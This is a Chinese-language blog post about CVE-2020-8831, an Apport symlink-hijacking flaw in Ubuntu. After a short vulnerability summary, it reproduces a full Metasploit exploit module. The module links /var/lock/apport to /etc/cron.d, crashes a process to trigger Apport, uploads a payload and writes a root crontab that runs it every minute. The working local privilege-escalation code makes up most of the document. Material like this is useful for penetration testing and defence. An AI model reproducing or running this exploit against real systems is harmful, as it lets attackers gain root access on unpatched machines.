Apport Symlink Hijacking Privilege Escalation

漏洞信息

漏洞名称: Apport Symlink Hijacking Privilege Escalation

漏洞编号:

  • CVE: CVE-2020-8831

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: Apport是Ubuntu系统中的崩溃报告工具,用于收集和报告程序崩溃时的信息。该工具在Ubuntu Xenial Xerus 16.04.7等版本中存在符号链接劫持漏洞。漏洞的根源在于Apport在写入崩溃报告时,会使用/var/lock/apport/lock目录,攻击者可以通过创建指向特权目录(如/etc/cron.d/)的符号链接,利用Apport的权限(全局0777权限)在系统中创建文件。此漏洞允许攻击者通过创建系统crontab文件来执行具有提升权限的payload,从而实现权限提升。该漏洞的利用不需要用户交互,且可以自动化执行,对系统安全构成严重威胁。攻击者可以利用此漏洞在受影响的系统上执行任意代码,可能导致数据泄露、服务中断或其他恶意活动。

产品厂商: Ubuntu

产品名称: Apport

影响版本: 2.20.11

来源: https://github.com/rapid7/metasploit-framework/blob/31bfb0407bee930c355ee6e86ea4fa601054f8e7/modules%2Fexploits%2Flinux%2Flocal%2Fcve_2020_8831_apport_symlink_privesc.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
# other places besides crontab
# /etc/init.d
# ~/.bashrc
super(
update_info(
info,
'Name' => 'Apport Symlink Hijacking Privilege Escalation ',
'Description' => %q{
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
able to create files with global 0777 permissions. This module exploits this weakness by creating a
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
elevated permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilien Bourgeteau', # Discovery
'gardnerapp' # Metasploit
],
'References' => [
[
['URL', 'https://nostarch.com/zero-day'], # pg. 59
['URL', 'https://ubuntu.com/security/CVE-2020-8831'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'],
['CVE', '2020-8831'],
]
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ARCH_AARCH64, ARCH_X64]
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => '2 April 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]),
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *'])
]
register_advanced_options [
OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp'])
]
end

def check
# If you are testing the module apport needs to be reinstalled on boot every time with
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test!
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'

# Check apport version
if !command_exists?('apport-cli')
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
end

apport = cmd_exec('apport-cli --version').to_s

return CheckCode::Detected('Unable to determine apport version') if apport.blank?

# todo determine if prior versions of apport are vulnerable
apport_version = Rex::Version.new(apport.split('-').first)

vulnerable_version = Rex::Version.new('2.20.11')

if apport_version == vulnerable_version
vprint_good("Apport appears to be vulnerable.")
return CheckCode::Appears
end

CheckCode::Safe
end

# Crash Apport and hijack a symlink
# this will creat a rwx /etc/cron.d/lock owned by root
def hijack_apport

print_status("Creating symlink...")

if exists? '/var/lock/apport'
fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ')
end

link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport')
print_status(link)

# Create crash and trigger apport
print_status("Triggering crash...")
cmd_exec 'sleep 10s & kill -11 $!'

@cron = '/etc/cron.d/lock'

# Make sure it's writable and owned by root
unless exist?(@cron)
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.')
else
print_good("Successfully created /etc/cron.d/lock")
end
end

def write_payload
print_status 'Uploading payload..'

payload_dir = datastore['WRITABLE_DIR']

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = datastore['PAYLOAD_FILENAME']

@payload_dest = "#{payload_dir}#{payload_file}"

# create the payload
if target.arch.first == ARCH_CMD
upload_and_chmodx @payload_dest, payload.encoded
else
upload_and_chmodx @payload_dest, generate_payload_exe
end
end

def write_cron
cron_interval = datastore['CRON_INTERVAL']
data = "#{cron_interval} root #{@payload_dest}\n"
write_file(@cron, data)
# crontab won't execute as root if group/other is writable
print_good "Successfully wrote crontab!"
end

def exploit
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
hijack_apport

write_payload

write_cron
end
end



Apport Symlink Hijacking Privilege Escalation
http://example.com/2025/07/18/github_4270121243/
作者
lianccc
发布于
2025年7月18日
许可协议